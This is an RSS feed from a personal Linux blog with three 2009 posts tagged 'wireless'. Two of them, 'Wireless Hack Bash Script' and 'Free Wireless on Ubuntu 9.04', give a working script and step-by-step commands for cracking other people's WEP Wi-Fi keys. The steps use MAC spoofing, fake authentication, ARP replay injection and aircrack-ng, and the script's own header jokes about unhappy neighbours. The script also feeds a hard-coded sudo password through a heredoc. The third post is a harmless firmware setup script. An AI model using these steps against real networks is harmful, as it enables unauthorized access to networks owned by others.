<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Albertux~# ./Blog &#187; wireless</title>
	<atom:link href="http://albertux.ayalasoft.com/es/tag/wireless/feed/" rel="self" type="application/rss+xml" />
	<link>http://albertux.ayalasoft.com</link>
	<description>61 20 64 65 76 65 6c 6f 70 65 72 20 6c 69 66 65</description>
	<lastBuildDate>Thu, 01 Jul 2010 16:23:33 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.5.3" -->
	<copyright>2008 </copyright>
	<managingEditor>albertoi7@gmail.com (Albertux~# ./Blog)</managingEditor>
	<webMaster>albertoi7@gmail.com (Albertux~# ./Blog)</webMaster>
	<category>posts</category>
	<ttl>1440</ttl>
	<image>
		<url>http://ayalasoft.com/img/podcast02.jpg</url>
		<title>Albertux~# ./Blog &#187; wireless</title>
		<link>http://albertux.ayalasoft.com</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>After three days without programming, life becomes meaningless.</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Technology">
		<itunes:category text="Software How-To" />
	</itunes:category>
	<itunes:category text="Technology">
		<itunes:category text="Podcasting" />
	</itunes:category>
	<itunes:author>Albertux~# ./Blog</itunes:author>
	<itunes:owner>
		<itunes:name>Albertux~# ./Blog</itunes:name>
		<itunes:email>albertoi7@gmail.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://ayalasoft.com/img/podcast01.jpg" />
		<item>
		<title>Wireless Hack Bash Script</title>
		<link>http://albertux.ayalasoft.com/es/2009/08/23/wireless-hack-bash-script/</link>
		<comments>http://albertux.ayalasoft.com/es/2009/08/23/wireless-hack-bash-script/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 05:59:30 +0000</pubDate>
		<dc:creator>albertux</dc:creator>
				<category><![CDATA[network]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://albertux.ayalasoft.com/es/?p=2147</guid>
		<description><![CDATA[Wireless Hack Bash Script #!/bin/bash # # WARNING: USE AT YOUR OWN RISK! # # SIDE EFFECTS: UNHAPPY NEIGHTBORS # # Author: ALbertux (Alberto Isaac Ayala Esquivias) # Mail: &#60;Albertux@AyalaSoft.com&#62; # Web: http://Albertux.AyalaSoft.com # Script: Wireless Hack # Tested on: Ubuntu 9.04 &#160; # A little trouble using gksudo gnome-terminal # https://bugs.launchpad.net/ubuntu/+source/gconf2/+bug/328575 # gnome-terminal -e [...]<p><a href="http://albertux.ayalasoft.com/es/2009/08/23/wireless-hack-bash-script/">Wireless Hack Bash Script</a> is a post from: <a href="http://albertux.ayalasoft.com">Albertux~# ./Blog</a></p>
]]></description>
			<content:encoded><![CDATA[<p><strong>Wireless Hack Bash Script</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># WARNING: USE AT YOUR OWN RISK!</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># SIDE EFFECTS: UNHAPPY NEIGHTBORS</span>
<span style="color: #666666; font-style: italic;"># </span>
<span style="color: #666666; font-style: italic;"># Author: ALbertux (Alberto Isaac Ayala Esquivias)</span>
<span style="color: #666666; font-style: italic;"># Mail: &lt;Albertux@AyalaSoft.com&gt;</span>
<span style="color: #666666; font-style: italic;"># Web: http://Albertux.AyalaSoft.com</span>
<span style="color: #666666; font-style: italic;"># Script: Wireless Hack</span>
<span style="color: #666666; font-style: italic;"># Tested on: Ubuntu 9.04</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># A little trouble using gksudo gnome-terminal</span>
<span style="color: #666666; font-style: italic;"># https://bugs.launchpad.net/ubuntu/+source/gconf2/+bug/328575</span>
<span style="color: #666666; font-style: italic;"># gnome-terminal -e &quot;sudo ....&quot; # could be ...</span>
<span style="color: #666666; font-style: italic;"># TERM=gnome-terminal</span>
<span style="color: #007800;">TERM</span>=xterm
&nbsp;
<span style="color: #666666; font-style: italic;"># A nasty function to run_like_a_root user sending the passwd</span>
<span style="color: #000000; font-weight: bold;">function</span> run_like_a_root<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #660033;">-S</span> $<span style="color: #000000; font-weight: bold;">@</span> <span style="color: #cc0000; font-style: italic;">&lt;&lt; EOF
your_password
EOF</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Restore to normal: ./this_script.sh restore</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;$1&quot;</span> == <span style="color: #ff0000;">&quot;restore&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
	run_like_a_root <span style="color: #ff0000;">&quot;airmon-ng stop mon0&quot;</span>
	run_like_a_root <span style="color: #ff0000;">&quot;/etc/init.d/networking restart&quot;</span>
	run_like_a_root <span style="color: #ff0000;">&quot;NetworkManager&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Set Wireless Device: ./this_script.sh wlan1</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-z</span> $<span style="color: #000000;">1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #007800;">WDEVICE</span>=wlan0 <span style="color: #666666; font-style: italic;"># Could be diferrent on your notebook</span>
<span style="color: #000000; font-weight: bold;">else</span>
	<span style="color: #007800;">WDEVICE</span>=$<span style="color: #000000;">1</span> <span style="color: #666666; font-style: italic;"># Set Wireless Device</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Stop Wireless</span>
run_like_a_root airmon-ng stop <span style="color: #007800;">$WDEVICE</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Kill all fu**ing process using the Wireless Device:</span>
run_like_a_root <span style="color: #c20cb9; font-weight: bold;">kill</span> <span style="color: #660033;">-9</span> <span style="color: #000000; font-weight: bold;">`</span>run_like_a_root airmon-ng start <span style="color: #007800;">$WDEVICE</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> ^<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">' { print $1 } '</span><span style="color: #000000; font-weight: bold;">`</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Wireless Devices Down (we need to change the Mac)</span>
run_like_a_root <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$WDEVICE</span> down
run_like_a_root <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> mon0 down
&nbsp;
<span style="color: #666666; font-style: italic;"># Fake Mac, Example:</span>
<span style="color: #007800;">FAKEMAC</span>=00:<span style="color: #000000;">66</span>:00:<span style="color: #000000;">66</span>:00:<span style="color: #000000;">66</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Set Fake Mac</span>
run_like_a_root macchanger <span style="color: #660033;">-m</span> <span style="color: #007800;">$FAKEMAC</span> <span style="color: #007800;">$WDEVICE</span>
run_like_a_root macchanger <span style="color: #660033;">-m</span> <span style="color: #007800;">$FAKEMAC</span> mon0
&nbsp;
<span style="color: #666666; font-style: italic;"># Up the Wireless Interface</span>
run_like_a_root <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> mon0 up
&nbsp;
<span style="color: #666666; font-style: italic;"># See all available networks</span>
run_like_a_root <span style="color: #007800;">$TERM</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;airodump-ng mon0&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Watch the xterm loaded and write the values (maybe you need resize xterm window)</span>
<span style="color: #c20cb9; font-weight: bold;">clear</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Network Name: &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> ESSID
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Network Mac: &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> BSSID
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Network Channel: &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> CHANNEL
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Close the airodump-ng xterm and press [enter]&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Get Data (IVs)</span>
run_like_a_root <span style="color: #007800;">$TERM</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;airodump-ng mon0 -w data -c <span style="color: #007800;">$CHANNEL</span> --bssid <span style="color: #007800;">$BSSID</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Fake Authentication Attack</span>
run_like_a_root <span style="color: #007800;">$TERM</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;watch aireplay-ng -1 0 -e <span style="color: #007800;">$ESSID</span> -a <span style="color: #007800;">$BSSID</span> -h <span style="color: #007800;">$FAKEMAC</span> mon0&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># ARP Request</span>
run_like_a_root <span style="color: #007800;">$TERM</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;aireplay-ng -3 -b <span style="color: #007800;">$BSSID</span> -h <span style="color: #007800;">$FAKEMAC</span> mon0&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Wait some time ...</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Press any kay to launch aircrack-ng (30,000+ on data recommended)&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Crack the Passwd</span>
run_like_a_root <span style="color: #007800;">$TERM</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;aircrack-ng data-*.cap&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span></pre></div></div>

<p><a href="http://albertux.ayalasoft.com/2009/08/12/free-wireless-on-ubuntu-904/">Free Wireless on Ubuntu 9.04</a></p>
<p><a href="http://albertux.ayalasoft.com/es/2009/08/23/wireless-hack-bash-script/">Wireless Hack Bash Script</a> is a post from: <a href="http://albertux.ayalasoft.com">Albertux~# ./Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://albertux.ayalasoft.com/es/2009/08/23/wireless-hack-bash-script/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Free Wireless on Ubuntu 9.04</title>
		<link>http://albertux.ayalasoft.com/es/2009/08/12/free-wireless-on-ubuntu-904/</link>
		<comments>http://albertux.ayalasoft.com/es/2009/08/12/free-wireless-on-ubuntu-904/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 06:03:47 +0000</pubDate>
		<dc:creator>albertux</dc:creator>
				<category><![CDATA[network]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://albertux.ayalasoft.com/es/?p=2116</guid>
		<description><![CDATA[Free Wireless Using Ubuntu 9.04: sudo apt-get install aircrack-ng macchanger The device name could be different on your machine sudo airmon-ng stop wlan0 sudo airmon-ng start wlan0 sudo ifconfig wlan0 down sudo ifconfig mon0 down sudo macchanger -m $FAKEMAC wlan0 sudo macchanger -m $FAKEMAC mon0 sudo ifconfig mon0 up sudo airodump-ng mon0 # See all [...]<p><a href="http://albertux.ayalasoft.com/es/2009/08/12/free-wireless-on-ubuntu-904/">Free Wireless on Ubuntu 9.04</a> is a post from: <a href="http://albertux.ayalasoft.com">Albertux~# ./Blog</a></p>
]]></description>
			<content:encoded><![CDATA[<p><strong>Free Wireless</strong></p>
<p>Using Ubuntu 9.04:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> aircrack-ng macchanger</pre></div></div>

<p>The device name could be different on your machine</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> airmon-ng stop wlan0
<span style="color: #c20cb9; font-weight: bold;">sudo</span> airmon-ng start wlan0
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> wlan0 down
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> mon0 down
<span style="color: #c20cb9; font-weight: bold;">sudo</span> macchanger <span style="color: #660033;">-m</span> <span style="color: #007800;">$FAKEMAC</span> wlan0
<span style="color: #c20cb9; font-weight: bold;">sudo</span> macchanger <span style="color: #660033;">-m</span> <span style="color: #007800;">$FAKEMAC</span> mon0
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> mon0 up
<span style="color: #c20cb9; font-weight: bold;">sudo</span> airodump-ng mon0 <span style="color: #666666; font-style: italic;"># See all available networks choose one channel</span></pre></div></div>

<p>Inject packets:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># terminal 01</span>
 <span style="color: #c20cb9; font-weight: bold;">sudo</span> airodump-ng mon0 <span style="color: #660033;">-w</span> wdata <span style="color: #660033;">-c</span> <span style="color: #000000;">6</span> <span style="color: #660033;">--bssid</span>  00:00:00:00:00:00 <span style="color: #666666; font-style: italic;"># -c $CHANNEL</span>
<span style="color: #666666; font-style: italic;"># terminal 02</span>
watch <span style="color: #c20cb9; font-weight: bold;">sudo</span> aireplay-ng <span style="color: #660033;">-1</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-e</span> <span style="color: #007800;">$SSID</span> <span style="color: #660033;">-a</span> 00:00:00:00:00:00 <span style="color: #660033;">-h</span> <span style="color: #007800;">$FAKEMAC</span> mon0
<span style="color: #666666; font-style: italic;"># terminal 03</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> aireplay-ng <span style="color: #660033;">-3</span> <span style="color: #660033;">-b</span> 00:00:00:00:00:00 <span style="color: #660033;">-h</span> <span style="color: #007800;">$FAKEMAC</span> mon0
<span style="color: #666666; font-style: italic;"># wait some time to get 30,000 on Data on terminal 01</span></pre></div></div>

<p>Now get the password:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> aircrack-ng wdata-<span style="color: #000000; font-weight: bold;">*</span>.cap</pre></div></div>

<p>See Screens:<br />
<a href="http://www.ayalasoft.com/media/Need-wireless-01.png" rel="shadowbox[acw]"><img src="http://www.ayalasoft.com/media/Need-wireless-thumb-01.png"></a><br />
<a href="http://www.ayalasoft.com/media/Need-wireless-02.png" rel="shadowbox[acw]"><img src="http://www.ayalasoft.com/media/Need-wireless-thumb-02.png"></a></p>
<p><a href="http://albertux.ayalasoft.com/es/2009/08/12/free-wireless-on-ubuntu-904/">Free Wireless on Ubuntu 9.04</a> is a post from: <a href="http://albertux.ayalasoft.com">Albertux~# ./Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://albertux.ayalasoft.com/es/2009/08/12/free-wireless-on-ubuntu-904/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Debian Lenny Intel(R) Pro/Wireless</title>
		<link>http://albertux.ayalasoft.com/es/2009/05/12/debian-lenny-intel-pro-wireless/</link>
		<comments>http://albertux.ayalasoft.com/es/2009/05/12/debian-lenny-intel-pro-wireless/#comments</comments>
		<pubDate>Wed, 13 May 2009 03:48:25 +0000</pubDate>
		<dc:creator>albertux</dc:creator>
				<category><![CDATA[network]]></category>
		<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[lenny]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://albertux.ayalasoft.com/es/?p=2006</guid>
		<description><![CDATA[Debian Lenny Intel(R) Pro/Wireless After you install Debian using netInstall using wire interface you can install the firmware that support your wireless interface this is example script: #!/bin/bash # Debian Lenny Wireless script for Intel(R) Pro/Wireless 4954 or 3945 # Author: Albertux (Alberto Isaac Ayala Esquivias) # Mail: &#60;albertoi7@gmail.com&#62; # Web: http://Albertux.AyalaSoft.com &#160; if &#91;&#91; [...]<p><a href="http://albertux.ayalasoft.com/es/2009/05/12/debian-lenny-intel-pro-wireless/">Debian Lenny Intel(R) Pro/Wireless</a> is a post from: <a href="http://albertux.ayalasoft.com">Albertux~# ./Blog</a></p>
]]></description>
			<content:encoded><![CDATA[<p><strong>Debian Lenny Intel(R) Pro/Wireless</strong></p>
<p>After you install Debian using netInstall using wire interface you can install the firmware that support your wireless interface this is example script:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># Debian Lenny Wireless script for Intel(R) Pro/Wireless 4954 or 3945</span>
<span style="color: #666666; font-style: italic;"># Author: Albertux (Alberto Isaac Ayala Esquivias)</span>
<span style="color: #666666; font-style: italic;"># Mail: &lt;albertoi7@gmail.com&gt;</span>
<span style="color: #666666; font-style: italic;"># Web: http://Albertux.AyalaSoft.com</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$EUID</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span> 
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;You must be a root user&quot;</span> <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span>
  <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> m <span style="color: #000000; font-weight: bold;">in</span> iwl4965 iwl3945
<span style="color: #000000; font-weight: bold;">do</span>
  <span style="color: #007800;">model</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">dmesg</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #007800;">$m</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">' { print $3 }'</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #c20cb9; font-weight: bold;">wc</span> -l<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
  <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$model</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #007800;">model</span>=<span style="color: #007800;">$m</span>
    <span style="color: #7a0874; font-weight: bold;">break</span>;
  <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">done</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$model</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;<span style="color: #007800;">$m</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\e[01;33mWARNING!&quot;</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\e[01;33mDoesn't have Intel(R) PRO/Wireless 4965 or 3945 Models\e[00m&quot;</span>
  <span style="color: #7a0874; font-weight: bold;">exit</span>;
<span style="color: #000000; font-weight: bold;">else</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\e[01;32mYou have Intel(R) PRO/Wireless <span style="color: #007800;">$model</span>\e[00m&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #007800;">firmware</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">dpkg</span> <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> firmware-iwlwifi <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'{ print $1 }'</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">mod</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">lsmod</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'{ print $1 }'</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #007800;">$model</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$firmware</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;ii&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;Install firmware ...&quot;</span>
  <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> firmware-iwlwifi
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$model</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;<span style="color: #007800;">$mod</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;Install module ...&quot;</span>
  modprobe <span style="color: #007800;">$model</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>name<span style="color: #000099; font-weight: bold;">\t</span>  description<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
iwconfig
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Name of the interface with wireless extensions: &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> iface
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$iface</span> up
<span style="color: #c20cb9; font-weight: bold;">clear</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;Scanning Wireless ...&quot;</span>
iwlist <span style="color: #007800;">$iface</span> scanning 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;essid: &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> essid
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Need Key (y/n): &quot;</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$op</span>&quot;</span> = <span style="color: #ff0000;">&quot;n&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  iwconfig <span style="color: #007800;">$iface</span> essid <span style="color: #ff0000;">&quot;<span style="color: #007800;">$essid</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;key: &quot;</span>
  <span style="color: #c20cb9; font-weight: bold;">read</span> key
  iwconfig <span style="color: #007800;">$iface</span> essid <span style="color: #ff0000;">&quot;<span style="color: #007800;">$essid</span>&quot;</span> key <span style="color: #ff0000;">&quot;<span style="color: #007800;">$key</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Static IP? (y/n): &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> op
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$op</span>&quot;</span> = <span style="color: #ff0000;">&quot;n&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  dhclient <span style="color: #007800;">$iface</span>
<span style="color: #000000; font-weight: bold;">else</span>
 <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;What ip you want: &quot;</span>
 <span style="color: #c20cb9; font-weight: bold;">read</span> ip
 <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$iface</span> <span style="color: #007800;">$ip</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Gateway: &quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> gw
&nbsp;
route add default gw <span style="color: #007800;">$gw</span> <span style="color: #007800;">$iface</span></pre></div></div>

<p><a href="http://albertux.ayalasoft.com/es/2009/05/12/debian-lenny-intel-pro-wireless/">Debian Lenny Intel(R) Pro/Wireless</a> is a post from: <a href="http://albertux.ayalasoft.com">Albertux~# ./Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://albertux.ayalasoft.com/es/2009/05/12/debian-lenny-intel-pro-wireless/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
